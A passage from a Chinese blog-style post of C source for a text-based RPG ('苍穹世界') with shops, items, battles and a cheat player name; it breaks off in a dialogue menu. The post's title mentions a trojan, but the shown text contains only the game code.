当前位置:   article > 正文

一个好玩的c++小游戏 另外一个是木马病毒

一个好玩的c++小游戏 另外一个是木马病毒
  1. #include<stdio.h>
  2. #include<ctime>
  3. #include<time.h> //suiji
  4. #include<windows.h> //SLEEP函数
  5. struct Player //玩家结构体,并初始化player
  6. {
  7. char name[21];
  8. int attack;
  9. int defense;
  10. int health;
  11. long int max_health;
  12. int level;
  13. int exp;
  14. int range_exp;
  15. long int max_exp;
  16. } player= {"勇者",50,40,100,100,1,0,0,100};
  17. struct Enemy //怪的结构体,并初始化各种怪
  18. {
  19. char name[20];
  20. char wupin[12];
  21. int attack;
  22. int defense;
  23. int health;
  24. int money;
  25. long int exp;
  26. int wupin_sign;
  27. int wupinpro;
  28. int double_attack;
  29. int miss;
  30. } strongman= {"森林巨人","黄金圣衣",40,50,350,200,100,1,2,1,0},
  31. witch= {"森林女巫","银甲",25,15,100,50,50,2,2,1,1},
  32. xiyi= {"森林蜥蜴","铁甲",18,10,50,30,35,3,3,2,2},
  33. big_strongman= {"森林巨人王","巨人晶石",40*5,50*5,200*5,200*5,100*5,4,4,2,0},
  34. lion= {"草原雄狮","绝世好剑",60,30,280,200,100,5,2,1,0},
  35. horse= {"草原野马","碧血剑",28,12,90,50,50,6,2,1,1},
  36. bee= {"草原黄蜂","长剑",17,11,60,30,35,7,3,2,2},
  37. shitu= {"使徒","\0",60*8,30*8,280*8,200*8,100*8,9,1,1,0},
  38. guai= {"\0","\0",0,0,0,0,0,0,0,0,0};
  39. struct Place
  40. {
  41. int bar,hotel,forest1,forest2,forest3,grass1,grass2,grass3;
  42. } place= {1,2,3,4,5,6,7,8};
  43. int max_exp=0;
  44. int choose_number=0,s=0,strongman_arm=0,battle=0,money=500,place_sign=9;
  45. int cao=3,jijiubao=2,baiyao=2,superbaiyao=1,boom=3,dubiao=2,atom_boom=1;
  46. int fang=0,fang1=10,fang1n=0,fang2=20,fang2n=0,fang3=40,fang3n=0,fang4=100,fang4n=0;
  47. int gong=0,gong1=8,gong1n=0,gong2=15,gong2n=0,gong3=25,gong3n=0,gong4=60,gong4n=0;
  48. int jingyancao=0,jingyanbao=0,jingyanshi=0;
  49. char gongname[20]="无",fangname[20]="无";
  50. char proof;
  51. void AddWupin(int);
  52. int AttackResult();
  53. void BattleAct();
  54. void ChooseWupin();
  55. void DisplayState();
  56. void OrdinaryAct();
  57. int SuiJi();
  58. int SuiJi100();
  59. void WhetherLevelUp();
  60. void SlowDisplay(char *);
  61. int main()
  62. {
  63. int i=0,j=0,k=0;
  64. char player_name[21];
  65. Sleep(1000);
  66. printf("--------------------------欢迎来到 [苍穹世界] 2.2 测试版-----------------------\n\n\n");
  67. //如果想使用外挂,名字请输入:“圣战斗士 ”。
  68. Sleep(1000);
  69. printf("这里是苍穹世界! 雅莉萨斯国的罗茜公主被陌生人绑架了!\n\n\n 伟大的勇者啊~拿起你们的武器,营救公主!\n\n\n输入你的名字: (20个字符)\n\n\n");
  70. scanf("%s",player_name);
  71. strncpy(player.name,player_name,20);
  72. if(strcmp(player.name,"圣战斗士")==0)
  73. {
  74. printf("\n\n\n封印多年的圣剑血统啊!你终于觉醒了!\n\n\n圣战斗士,你成为了天选之人,请你救出公主吧!\n\n\n");
  75. player.attack=999;
  76. player.defense=999;
  77. player.health=9999;
  78. player.max_health=9999;
  79. }
  80. getchar();
  81. OrdinaryAct();
  82. return 0;
  83. }
  84. int SuiJi()
  85. {
  86. srand((unsigned)time(NULL));
  87. return rand()%10;
  88. }
  89. int SuiJi100()
  90. {
  91. srand((unsigned)time(NULL));
  92. return rand()%100;
  93. }
  94. void ChooseWupin() //选择物品 并使用
  95. {
  96. printf("物品: 1,止血草%d个 2,急救包%d个 3,云南白药%d个 4,超级云南白药%d个 5,手雷%d个 6,毒标%d个 7,手抛式原子弹%d个 8,经验草%d个 9,经验包%d个 10,经验石%d个 11,巨人晶石%d个 0,返回\n\n\n",cao,jijiubao,baiyao,superbaiyao,boom,dubiao,atom_boom,jingyancao,jingyanbao,jingyanshi,strongman_arm);
  97. switch(scanf("%d",&choose_number),choose_number)
  98. {
  99. case 1:
  100. if(cao>0)
  101. {
  102. printf("使用止血草,HP增加60\n\n\n");
  103. cao--;
  104. if(player.health+60>player.max_health)player.health=player.max_health;
  105. else player.health+=60;
  106. }
  107. else printf("没有止血草了\n\n\n");
  108. break;
  109. case 2:
  110. if(jijiubao>0)
  111. {
  112. printf("使用急救包,HP增加80\n\n\n");
  113. jijiubao--;
  114. if(player.health+80>player.max_health)player.health=player.max_health;
  115. else player.health+=80;
  116. }
  117. else printf("没有急救包了\n\n\n");
  118. break;
  119. case 3:
  120. if(baiyao>0)
  121. {
  122. printf("使用云南白药,HP增加120\n\n\n");
  123. baiyao--;
  124. if(player.health+120>player.max_health)player.health=player.max_health;
  125. else player.health+=120;
  126. }
  127. else printf("没有云南白药了\n\n\n");
  128. break;
  129. case 4:
  130. if(superbaiyao>0)
  131. {
  132. printf("使用超级云南白药,HP增加200\n\n\n");
  133. superbaiyao--;
  134. if(player.health+200>player.max_health)player.health=player.max_health;
  135. else player.health+=200;
  136. }
  137. else printf("没有超级云南白药了\n\n\n");
  138. break;
  139. case 5:
  140. if(battle) //在战斗中(battle=1),否则(battle=0)不能使用攻击性物品
  141. {
  142. if(boom>0)
  143. {
  144. printf("使用手雷,敌人HP减少100\n\n\n");
  145. boom--;
  146. guai.health-=100;
  147. AttackResult();
  148. }
  149. }
  150. else printf("非战斗状态,不能使用手雷!\n\n\n");
  151. break;
  152. case 6:
  153. if(battle) //在战斗中(battle=1),否则(battle=0)不能使用攻击性物品
  154. {
  155. if(dubiao>0)
  156. {
  157. printf("使用毒标,敌人HP减少200\n\n\n");
  158. dubiao--;
  159. guai.health-=200;
  160. AttackResult();
  161. }
  162. }
  163. else printf("非战斗状态,不能使用毒标!\n\n\n");
  164. break;
  165. case 7:
  166. if(battle) //在战斗中(battle=1),否则(battle=0)不能使用攻击性物品
  167. {
  168. if(atom_boom>0)
  169. {
  170. printf("使用手抛式原子弹,敌人HP减少666666666\n\n\n");
  171. atom_boom--;
  172. guai.health-=666666666;
  173. AttackResult();
  174. }
  175. }
  176. else printf("非战斗状态,不能使用手抛式原子弹!\n\n\n");
  177. break;
  178. case 8:
  179. if(jingyancao>0 && player.level<46)
  180. {
  181. printf("使用经验草,等级增加1级\n\n\n");
  182. jingyancao--;
  183. player.level+=1;
  184. printf("等级:%d\n",player.level);
  185. }
  186. else if(jingyancao<1)
  187. {
  188. printf("没有经验草了\n\n\n");
  189. }
  190. else printf("等级超过45级,修为太高,无法使用。\n\n\n");
  191. break;
  192. case 9:
  193. if(jingyanbao>0 && player.level<46)
  194. {
  195. if(player.level>44&&player.level<46)
  196. {
  197. int sheng;
  198. sheng=45-player.level;
  199. player.level+=sheng;
  200. printf("使用经验包,等级增加%d级",sheng);
  201. printf("等级:%d\n",player.level);
  202. }
  203. else
  204. {
  205. printf("使用经验包,等级增加2级\n\n\n");
  206. jingyanbao--;
  207. player.level+=2;
  208. printf("等级:%d\n",player.level);
  209. }
  210. }
  211. else if(jingyanbao<1)
  212. {
  213. printf("没有经验包了");
  214. }
  215. else printf("等级超过45级,修为太高,无法使用。\n\n\n");
  216. break;
  217. case 10:
  218. if(jingyanshi>0 && player.level<45)
  219. {
  220. if(player.level>42&&player.level<46)
  221. {
  222. int sheng;
  223. sheng=45-player.level;
  224. player.level+=sheng;
  225. printf("使用经验石,等级增加%d级\n",sheng);
  226. printf("等级:%d\n",player.level);
  227. }
  228. else
  229. {
  230. printf("使用经验石,等级增加4级\n");
  231. jingyanshi--;
  232. player.level+=4;
  233. }
  234. }
  235. else if(jingyanshi<1)
  236. {
  237. printf("没有经验石了\n\n\n");
  238. }
  239. else printf("等级超过45级,修为太高,无法使用。\n\n\n");
  240. break;
  241. case 11:
  242. if(strongman_arm>0 && player.level<46)
  243. {
  244. if(player.level>29&&player.level<46)
  245. {
  246. int sheng;
  247. sheng=45-player.level;
  248. player.level+=sheng;
  249. printf("使用巨人晶石,等级增加%d级",sheng);
  250. printf("等级:%d\n",player.level);
  251. }
  252. else
  253. {
  254. printf("使用巨人晶石,等级增加16级\n\n\n");
  255. strongman_arm--;
  256. player.level+=16;
  257. printf("等级:%d\n",player.level);
  258. }
  259. }
  260. else if(strongman_arm<1)
  261. {
  262. printf("没有巨人晶石了。\n\n\n");
  263. }
  264. else printf("等级超过45级,修为太高,无法使用。\n\n\n");
  265. break;
  266. case 0:
  267. break;
  268. default:
  269. printf("ChooseWupin error!\n\n\n");
  270. }
  271. }
  272. int AttackResult() //攻击结果:判断是否获胜 是否获得物品 和 是否升级
  273. {
  274. if(guai.health<=0)
  275. {
  276. battle=0;
  277. printf("战斗胜利!获得金币%d,经验%d\n\n\n",guai.money,guai.exp);
  278. player.exp+=guai.exp;
  279. player.range_exp+=guai.exp;
  280. money+=guai.money;
  281. s=SuiJi();
  282. if(s<guai.wupinpro)
  283. {
  284. printf("从敌人尸骸中发现");
  285. printf("%s\n\n\n",guai.wupin);
  286. AddWupin(guai.wupin_sign);
  287. }
  288. WhetherLevelUp();
  289. if(strcmp(guai.name,"使徒")==0)
  290. {
  291. printf("战斗胜利,救出公主!!!");
  292. getchar();
  293. getchar();
  294. exit(0);
  295. }
  296. return 1; //攻击有结果了返回1,否则返回0,用于判断是否继续做战斗行为
  297. }
  298. else
  299. {
  300. int s=SuiJi();
  301. if((guai.attack+s-player.defense/3)<0)
  302. {
  303. player.health-=1;
  304. printf("%s反击,你的HP减少了 1\n\n",guai.name);
  305. }
  306. else
  307. {
  308. player.health-=guai.attack+s-player.defense/3;
  309. printf("%s反击,你的HP减少了%d\n\n",guai.name,guai.attack+s-player.defense/3);
  310. }
  311. if(player.health<0)
  312. {
  313. battle=0;
  314. printf("%s战死!金币掉落%d\n\n\n",player.name,player.level*500);
  315. money-=player.level*500;
  316. player.health=player.max_health/5;
  317. OrdinaryAct();//
  318. return 1;
  319. }
  320. }
  321. return 0;
  322. }
  323. void AddWupin(int wupin_sign)
  324. {
  325. switch(wupin_sign)
  326. {
  327. case 1:
  328. fang4n++;
  329. break;
  330. case 2:
  331. fang3n++;
  332. break;
  333. case 3:
  334. fang2n++;
  335. break;
  336. case 4:
  337. strongman_arm=1;
  338. break;
  339. case 5:
  340. gong4n++;
  341. break;
  342. case 6:
  343. gong3n++;
  344. break;
  345. case 7:
  346. gong2n++;
  347. break;
  348. default:
  349. printf("AddWupin error\n\n\n");
  350. }
  351. }
  352. void WhetherLevelUp()
  353. {
  354. int i=0,j=0;
  355. int l1=player.range_exp/100;
  356. int l2=player.range_exp/300;
  357. int l3=player.range_exp/600;
  358. if(player.level<=15&&l1>0) //15级以下,经验足够 都满足则升级
  359. {
  360. if(l1==1)
  361. {
  362. printf("%s",player.name);
  363. printf(" 升级!\n\n\n攻击力+3, 防御力+2, HP上限+20\n\n\n");
  364. player.exp=player.exp+guai.exp-(player.exp+guai.exp)%100;
  365. player.attack+=3;
  366. player.defense+=2;
  367. player.max_health+=20;
  368. player.health=player.max_health;
  369. player.level++;
  370. player.range_exp=0;
  371. player.exp=player.max_exp;
  372. player.max_exp+=100;
  373. }
  374. else
  375. {
  376. printf("好厉害!连升%d级!",l1);
  377. printf("攻击力+%d, 防御力+%d, HP上限+%d\n\n\n",3*l1,2*l1,20*l1);
  378. player.exp=(player.exp+guai.exp) || player.exp-((player.exp+guai.exp) || player.exp)%100;
  379. player.attack+=3*l1;
  380. player.defense+=2*l1;
  381. player.max_health+=20*l1;
  382. player.health=player.max_health;
  383. player.level+=l1;
  384. player.range_exp=0;
  385. player.exp=player.max_exp;
  386. player.max_exp+=100*l1;
  387. }
  388. }
  389. else if(player.level<=40&&l2>0)
  390. {
  391. if(l2==1)
  392. {
  393. printf("%s",player.name);
  394. printf(" 升级!\n\n\n攻击力+3, 防御力+2, HP上限+20\n\n\n");
  395. player.exp=player.exp+guai.exp-(player.exp+guai.exp)%100;
  396. player.attack+=3;
  397. player.defense+=2;
  398. player.max_health+=20;
  399. player.health=player.max_health;
  400. player.level++;
  401. player.range_exp=0;
  402. player.exp=player.max_exp;
  403. player.max_exp+=300;
  404. }
  405. else
  406. {
  407. printf("好厉害!连升%d级!",l1);
  408. printf("攻击力+%d, 防御力+%d, HP上限+%d\n\n\n",3*l2,2*l2,20*l2);
  409. player.exp=player.exp+guai.exp-(player.exp+guai.exp)%100;
  410. player.attack+=3*l2;
  411. player.defense+=2*l2;
  412. player.max_health+=20*l2;
  413. player.health=player.max_health;
  414. player.level+=l2;
  415. player.range_exp=0;
  416. player.exp=player.max_exp;
  417. player.max_exp+=300*l2;
  418. }
  419. }
  420. else if(l3>0)
  421. {
  422. if(l3==1)
  423. {
  424. printf("%s",player.name);
  425. printf(" 升级!\n\n\n攻击力+3, 防御力+2, HP上限+20\n\n\n");
  426. player.exp=player.exp+guai.exp-(player.exp+guai.exp)%100;
  427. player.attack+=3;
  428. player.defense+=2;
  429. player.max_health+=20;
  430. player.health=player.max_health;
  431. player.level++;
  432. player.range_exp=0;
  433. player.exp=player.max_exp;
  434. player.max_exp+=600;
  435. }
  436. else
  437. {
  438. printf("好厉害!连升%d级!",l1);
  439. printf("攻击力+%d, 防御力+%d, HP上限+%d\n\n\n",3*l3,2*l3,20*l3);
  440. player.exp=player.exp+guai.exp-(player.exp+guai.exp)%100;
  441. player.attack+=3*l3;
  442. player.defense+=2*l3;
  443. player.max_health+=20*l3;
  444. player.health=player.max_health;
  445. player.level+=l3;
  446. player.range_exp=0;
  447. player.exp=player.max_exp;
  448. player.max_exp+=600*l3;
  449. }
  450. }
  451. }
  452. void OrdinaryAct() //正常行为菜单(移动,物品,对话,查看状态,装备,退出游戏)
  453. {
  454. while(1)
  455. {
  456. // \(1000);
  457. // system("cls");
  458. puts("=============================================================================");
  459. printf("要做什么?\n\n\n 1,移动 2,道具 3,对话 4,查看状态 5,装备 6,关于游戏 0,退出游戏\n\n\n");
  460. puts("=============================================================================");
  461. switch(scanf("%d",&choose_number),choose_number)
  462. {
  463. case 1: //显示移动菜单
  464. printf("要去哪里?\n\n\n");
  465. printf("1,happy酒吧 2,诺亚方舟酒店 3,北朝商会 4,红玉拍卖行 5,冒险荒野\n\n\n");
  466. switch(scanf("%d",&choose_number),choose_number)
  467. {
  468. case 1:
  469. place_sign=place.bar; //记录目前位置-酒吧
  470. // OrdinaryAct();
  471. break;
  472. case 2:
  473. place_sign=place.hotel; //进入旅店
  474. printf("金币:%d",money);
  475. printf("要开房吗? 200个金币 1,是 0,否\n\n\n");
  476. choose_number=1;
  477. switch(scanf("%d",&choose_number),choose_number)
  478. {
  479. case 1:
  480. if(money-200<0) //判断钱是否够
  481. {
  482. printf("Sorry,你的钱不够~\n\n\n");
  483. printf("金币:%d",money);
  484. }
  485. else
  486. {
  487. printf("好好休息\nHP满\n第二天了\n\n");
  488. printf("金币:%d\n",money);
  489. money-=200; //花费200住店费
  490. player.health=player.max_health; //体力满
  491. }
  492. break;
  493. case 0:
  494. printf("下次再来!\n\n\n");
  495. break;
  496. default:
  497. printf("hotel talk error!\n\n\n");
  498. }
  499. place_sign=0;
  500. break;
  501. case 3:
  502. int yongju,gong,fang;
  503. printf("请问您要购买什么类型的物品?\n\n\n 1,攻击装备 2,防御装备 3,一次性伤害武器\n\n\n");
  504. scanf("%d",&yongju);
  505. switch(yongju)
  506. {
  507. case 1:
  508. printf("请问您要购买什么武器?\n\n\n 1,匕首¥300 2,长剑¥500 3,碧血剑¥1000\n\n\n");
  509. scanf("%d",&gong);
  510. switch(gong)
  511. {
  512. case 1:
  513. if(money>=300)
  514. {
  515. gong1n++;
  516. money=money-300;
  517. printf ("匕首+1\n");
  518. printf("匕首:%d个\n",gong1n);
  519. printf("金币:%d\n",money);
  520. break;
  521. }
  522. else
  523. {
  524. printf("钱不够!\n");
  525. printf("金币:%d\n",money);
  526. break;
  527. }
  528. case 2:
  529. if(money>=500)
  530. {
  531. gong2n++;
  532. money=money-500;
  533. printf ("长剑+1\n");
  534. printf("长剑:%d个\n",gong2n);
  535. printf("金币:%d\n",money);
  536. break;
  537. }
  538. else
  539. {
  540. printf("钱不够!\n");
  541. printf("金币:%d\n",money);
  542. break;
  543. }
  544. case 3:
  545. if(money>=1000)
  546. {
  547. gong3n++;
  548. money=money-1000;
  549. printf ("碧血剑+1\n");
  550. printf("碧血剑:%d个\n",gong3n);
  551. printf("金币:%d\n",money);
  552. break;
  553. }
  554. else
  555. {
  556. printf("钱不够!\n");
  557. printf("金币:%d\n",money);
  558. break;
  559. }
  560. default:
  561. printf("对不起,我们只会打造以上武器。");
  562. break;
  563. }
  564. break;
  565. case 2:
  566. int fang;
  567. printf("请问您要购买什么防具?\n\n\n 1,布衣¥300 2,铁甲¥500 3,银甲¥1000\n\n\n");
  568. scanf("%d",&fang);
  569. switch(fang)
  570. {
  571. case 1:
  572. if(money>=300)
  573. {
  574. fang1n++;
  575. money=money-300;
  576. printf ("布衣+1\n");
  577. printf("布衣:%d个\n",fang1n);
  578. printf("金币:%d\n",money);
  579. }
  580. else
  581. {
  582. printf("钱不够!\n");
  583. printf("金币:%d\n",money);
  584. }
  585. break;
  586. case 2:
  587. if(money>=500)
  588. {
  589. fang2n++;
  590. money=money-500;
  591. printf ("铁甲+1\n");
  592. printf("铁甲:%d个\n",fang2n);
  593. printf("金币:%d\n",money);
  594. }
  595. else
  596. {
  597. printf("钱不够!\n");
  598. printf("金币:%d",money);
  599. }
  600. break;
  601. case 3:
  602. if(money>=1000)
  603. {
  604. fang3n++;
  605. money=money-1000;
  606. printf ("银甲+1\n");
  607. printf("银甲:%d个\n",fang3n);
  608. printf("金币:%d\n",money);
  609. }
  610. else
  611. {
  612. printf("钱不够!\n");
  613. printf("金币:%d\n",money);
  614. }
  615. default:
  616. printf("对不起,我们只会打造以上防具。");
  617. break;
  618. }
  619. printf("金币:%d\n",money);
  620. break;
  621. case 3:
  622. printf("请问您要购买什么一次性伤害武器?\n 1,手雷 2,毒镖 3,手抛式原子弹\n\n\n");
  623. int yi;
  624. scanf("%d",&yi);
  625. switch(yi)
  626. {
  627. case 1:
  628. if(money>=300 && boom<5)
  629. {
  630. boom++;
  631. money=money-300;
  632. printf("手雷+1\n");
  633. printf("手雷:%d\n",boom);
  634. printf("金币:%d\n",money);
  635. }
  636. else
  637. {
  638. printf("钱不够!\n");
  639. printf("金币:%d",money);
  640. }
  641. break;
  642. case 2:
  643. if(money>=600 && dubiao<4)
  644. {
  645. dubiao++;
  646. money=money-600;
  647. printf("毒镖+1\n");
  648. printf("毒镖:%d\n",dubiao);
  649. printf("金币:%d\n",money);
  650. }
  651. else
  652. {
  653. printf("钱不够!\n");
  654. printf("金币:%d\n",money);
  655. }
  656. break;
  657. case 3:
  658. if(money>=0 && atom_boom<23333333333)
  659. {
  660. atom_boom=atom_boom+233;
  661. money=money+1500;
  662. printf("手抛式原子弹+2\n");
  663. printf("手抛式原子弹:%d\n",atom_boom);
  664. printf("金币:%d\n",money);
  665. }
  666. else
  667. {
  668. printf("钱不够!\n\n\n");
  669. printf("金币:%d\n",money);
  670. }
  671. break;
  672. }
  673. }
  674. break;
  675. case 4:
  676. printf ("欢迎您光临本拍卖行,请问您要卖什么东西?\n\n");
  677. printf("攻击装备: 1,匕首:%d个 2,长剑:%d个 3,碧血剑:%d个 4,绝世好剑:%d个\n",gong1n,gong2n,gong3n,gong4n);
  678. printf("防御装备: 5,布衣:%d个 6,铁甲:%d个 7,银甲:%d个 8,黄金圣衣:%d个\n9,巨人晶石:%d个 0,返回\n\n\n",fang1n,fang2n,fang3n,fang4n,strongman_arm);
  679. int pai,shu,i;
  680. scanf("%d",&pai);
  681. switch(pai)
  682. {
  683. case 1:
  684. printf("请问您要出售几件?");
  685. scanf("%d",&shu);
  686. if(gong1n>=shu)
  687. {
  688. gong1n=gong1n-shu;
  689. money=money+shu*240;
  690. printf("匕首:%d\n",gong1n);
  691. printf("金币:%d\n",money);
  692. break;
  693. }
  694. else
  695. {
  696. printf("装备数不够,无法出售!\n");
  697. break;
  698. }
  699. break;
  700. case 2:
  701. printf("请问您要出售几件?\n");
  702. scanf("%d",&shu);
  703. if(gong2n>=shu)
  704. {
  705. gong2n=gong2n-shu;
  706. money=money+shu*400;
  707. printf("长剑:%d\n",gong2n);
  708. printf("金币:%d\n",money);
  709. break;
  710. }
  711. else
  712. {
  713. printf("装备数不够,无法出售!\n");
  714. break;
  715. }
  716. case 3:
  717. printf("请问您要出售几件?\n");
  718. scanf("%d",&shu);
  719. if(gong3n>=shu)
  720. {
  721. gong3n=gong3n-shu;
  722. money=money+shu*800;
  723. printf("碧血剑:%d\n",gong3n);
  724. printf("金币:%d\n",money);
  725. break;
  726. }
  727. else
  728. {
  729. printf("装备数不够,无法出售!\n");
  730. break;
  731. }
  732. case 4:
  733. printf("请问您要出售几件?\n");
  734. scanf("%d",&shu);
  735. if(gong4n>=shu)
  736. {
  737. gong4n=gong4n-shu;
  738. money=money+shu*1500;
  739. printf("绝世好剑:%d\n",gong4n);
  740. printf("金币:%d\n",money);
  741. break;
  742. }
  743. else
  744. {
  745. printf("装备数不够,无法出售!\n");
  746. break;
  747. }
  748. case 5:
  749. printf("请问您要出售几件?\n");
  750. scanf("%d",&shu);
  751. if(fang1n>=shu)
  752. {
  753. fang1n=fang1n-shu;
  754. money=money+shu*240;
  755. printf("布衣:%d\n",fang1n);
  756. printf("金币:%d\n",money);
  757. break;
  758. }
  759. else
  760. {
  761. printf("装备数不够,无法出售!\n");
  762. break;
  763. }
  764. case 6:
  765. printf("请问您要出售几件?\n");
  766. scanf("%d",&shu);
  767. if(fang2n>=shu)
  768. {
  769. fang2n=fang2n-shu;
  770. money=money+shu*500;
  771. printf("铁甲:%d\n",fang2n);
  772. printf("金币:%d\n",money);
  773. break;
  774. }
  775. else
  776. {
  777. printf("装备数不够,无法出售!\n");
  778. break;
  779. }
  780. case 7:
  781. printf("请问您要出售几件?\n");
  782. scanf("%d",&shu);
  783. if(fang3n>=shu)
  784. {
  785. fang3n=fang3n-shu;
  786. money=money+shu*800;
  787. printf("银甲:%d\n",fang3n);
  788. printf("金币:%d\n",money);
  789. break;
  790. }
  791. else
  792. {
  793. printf("装备数不够,无法出售!\n");
  794. break;
  795. }
  796. break;
  797. case 8:
  798. printf("请问您要出售几件?\n");
  799. scanf("%d",&shu);
  800. if(fang1n>=shu)
  801. {
  802. fang4n=fang4n-shu;
  803. money=money+shu*1500;
  804. printf("黄金圣衣:%d\n",fang4n);
  805. printf("金币:%d\n",money);
  806. break;
  807. }
  808. else
  809. {
  810. printf("装备数不够,无法出售!\n");
  811. break;
  812. }
  813. case 9:
  814. printf("请问您要出售几颗?");
  815. scanf("%d",&shu);
  816. if(strongman_arm>=shu)
  817. {
  818. strongman_arm=strongman_arm-shu;
  819. money=money+shu*2000;
  820. printf("巨人晶石:%d\n",strongman_arm);
  821. printf("金币:%d\n",money);
  822. }
  823. else
  824. {
  825. printf("晶石数不够,无法出售!\n");
  826. break;
  827. }
  828. break;
  829. case 0:
  830. break;
  831. break;
  832. default:
  833. printf("没有该装备,无法出售!\n");
  834. break;
  835. }
  836. break;
  837. case 5:
  838. int yewai;
  839. while(1)
  840. {
  841. puts("=============================================================================");
  842. printf("要去哪冒险呢?");
  843. printf("\n\n 1,神秘沼泽 危险程度:★\n\n 2,星耀草原 危险程度:★\n\n 3,诡异森林 危险程度:★★★\n\n 4,荒漠矿场 危险程度:★★★\n\n 5,炽热炎洞 危险程度:★★★★\n\n 6,花朵宫殿 危险程度:★★★★★\n\n 0,离开\n");
  844. puts("=============================================================================");
  845. scanf("%d",&yewai);
  846. switch(yewai)
  847. {
  848. case 1:
  849. place_sign=place.forest1;
  850. s=SuiJi();
  851. if(s<7)
  852. {
  853. battle=1;
  854. guai=xiyi;
  855. printf("%s扑了过来!\n\n\n",guai.name);
  856. BattleAct();
  857. }
  858. else if(s<9)
  859. {
  860. battle=1;
  861. guai=witch;
  862. printf("%s扑了过来!\n\n\n",guai.name);
  863. BattleAct();
  864. }
  865. else
  866. {
  867. printf("这里安全\n\n\n");
  868. //不用调用OAct函数,会自动执行OAct函数;
  869. }
  870. break;
  871. case 3:
  872. place_sign=place.forest2;
  873. s=SuiJi();
  874. if(s<7)
  875. {
  876. battle=1;
  877. guai=witch;
  878. printf("%s扑了过来!\n\n\n",guai.name);
  879. BattleAct();
  880. }
  881. else if(s<9)
  882. {
  883. battle=1;
  884. guai=strongman;
  885. printf("%s扑了过来!\n\n\n",guai.name);
  886. BattleAct();
  887. }
  888. else
  889. {
  890. printf("这里安全\n\n\n");
  891. }
  892. break;
  893. case 5:
  894. place_sign=place.forest3;
  895. s=SuiJi();
  896. if(s<7)
  897. {
  898. battle=1;
  899. guai=strongman;
  900. printf("%s扑了过来!\n\n\n",guai.name);
  901. BattleAct();
  902. }
  903. else if(s<9)
  904. {
  905. battle=1;
  906. guai=big_strongman;
  907. printf("%s扑了过来!\n\n\n",guai.name);
  908. BattleAct();
  909. }
  910. else
  911. {
  912. printf("这里安全\n\n\n");
  913. }
  914. break;
  915. case 2:
  916. place_sign=place.grass1;
  917. s=SuiJi();
  918. if(s<7)
  919. {
  920. battle=1;
  921. guai=bee;
  922. printf("%s扑了过来!\n\n\n",guai.name);
  923. BattleAct();
  924. }
  925. else if(s<9)
  926. {
  927. battle=1;
  928. guai=horse;
  929. printf("%s扑了过来!\n\n\n",guai.name);
  930. BattleAct();
  931. }
  932. else
  933. {
  934. printf("这里安全\n\n\n");
  935. }
  936. break;
  937. case 4:
  938. place_sign=place.grass2;
  939. s=SuiJi();
  940. if(s<7)
  941. {
  942. battle=1;
  943. guai=horse;
  944. printf("%s扑了过来!\n\n\n",guai.name);
  945. BattleAct();
  946. }
  947. else if(s<9)
  948. {
  949. battle=1;
  950. guai=lion;
  951. printf("%s扑了过来!\n\n\n",guai.name);
  952. BattleAct();
  953. }
  954. else
  955. {
  956. printf("这里安全\n\n\n");
  957. }
  958. break;
  959. case 6:
  960. place_sign=place.grass3;
  961. s=SuiJi();
  962. if(s<7)
  963. {
  964. battle=1;
  965. guai=lion;
  966. printf("%s扑了过来!\n\n\n",guai.name);
  967. BattleAct();
  968. }
  969. else if(s<9)
  970. {
  971. battle=1;
  972. if(strongman_arm)
  973. {
  974. printf("神秘老人:\n\n\n 哈哈,年轻人,做的不错,不过...嘿嘿,你上当啦!巨人晶石我要了,公主你也别想带走!\n\n\n");
  975. guai=shitu;
  976. printf("%s扑了过来!\n\n\n",guai.name);
  977. BattleAct();
  978. }
  979. else printf("神秘老人:\n\n\n 年轻人,你好啊.如果你有巨人晶石,我可以告诉你公主的下落哦~\n\n\n");
  980. }
  981. else
  982. {
  983. printf("这里安全\n\n\n");
  984. }
  985. break;
  986. if(yewai!=0)
  987. {
  988. printf("该区域为未知区域,无法进入。\n\n\n");
  989. break;
  990. }
  991. }
  992. if(yewai==0)
  993. {
  994. break;
  995. printf("已离开荒野。");
  996. }
  997. }
  998. }
  999. break;
  1000. case 2:
  1001. ChooseWupin();
  1002. break; //显示道具,并可以使用.
  1003. case 3: //对话选项
  1004. if(place_sign==place.bar)
  1005. {
  1006. printf("要和谁说话?\n\n\n1,红发女郎 2,赏金猎人 3,酒吧老板 4,药品商人\n\n\n"); //显示对话人物
  1007. switch(scanf("%d",&choose_number),choose_number)
  1008. {
  1009. case 1:
  1010. printf("红发女郎:\n\n\n 吧台边那个Hunter好帅啊!(~脸红~)\n\n\n听说他经常外出打猎,外面的路他应该很熟悉的!\n\n\n");
  1011. break;
  1012. case 2:
  1013. if(fang1n<1&&gong1n<1)
  1014. {
  1015. printf("赏金猎人:\n\n\n 你要救公主啊!好胆量!\n\n\n 不过外面的世界很险恶,而且越深越危险,这是匕首和布衣,对你会有些帮助的,拿去吧!\n\n\n");
  1016. printf("%s心想:哇,这位大叔人真好啊!\n\n\n)",player.name);
  1017. gong1n++;
  1018. fang1n++;
  1019. }
  1020. else printf("赏金猎人:\n\n\n 加油吧,年轻人!\n\n\n 不要被外面世界所吓倒!\n\n\n");
  1021. break;
  1022. case 3:
  1023. printf("要喝点什么?\n\n\n 1,二锅头25金币 HP+20 2,XO酒80金币 HP+50 3,人头马面150金币 HP+100 0,返回\n\n\n");
  1024. choose_number=1;
  1025. while(choose_number)
  1026. {
  1027. switch(scanf("%d",&choose_number),choose_number)
  1028. {
  1029. case 1:
  1030. if(money<25)
  1031. {
  1032. printf("钱不够!");
  1033. }
  1034. else
  1035. {
  1036. if(player.health+20<=player.max_health)
  1037. {
  1038. printf("HP+20.");
  1039. money-=25;
  1040. player.health+=20;
  1041. }
  1042. else
  1043. {
  1044. printf("HP满了");
  1045. player.health=player.max_health;
  1046. }
  1047. }
  1048. break;
  1049. case 2:
  1050. if(money<80)
  1051. {
  1052. printf("钱不够!");
  1053. }
  1054. else
  1055. {
  1056. if(player.health+50<=player.max_health)
  1057. {
  1058. printf("HP+50.");
  1059. money-=80;
  1060. player.health+=50;
  1061. }
  1062. else
  1063. {
  1064. printf("HP满了");
  1065. player.health=player.max_health;
  1066. }
  1067. }
  1068. break;
  1069. case 3:
  1070. if(money<150)
  1071. {
  1072. printf("钱不够!");
  1073. }
  1074. else
  1075. {
  1076. if(player.health+100<=player.max_health)
  1077. {
  1078. printf("HP+100.");
  1079. money-=150;
  1080. player.health+=100;
  1081. }
  1082. else
  1083. {
  1084. printf("HP满了");
  1085. player.health=player.max_health;
  1086. }
  1087. }
  1088. break;
  1089. case 0:
  1090. printf("下次再来!\n");
  1091. break;
  1092. default:
  1093. printf("输入错误\n\n\n");
  1094. break;
  1095. }
  1096. break;
  1097. }
  1098. break;
  1099. case 4:
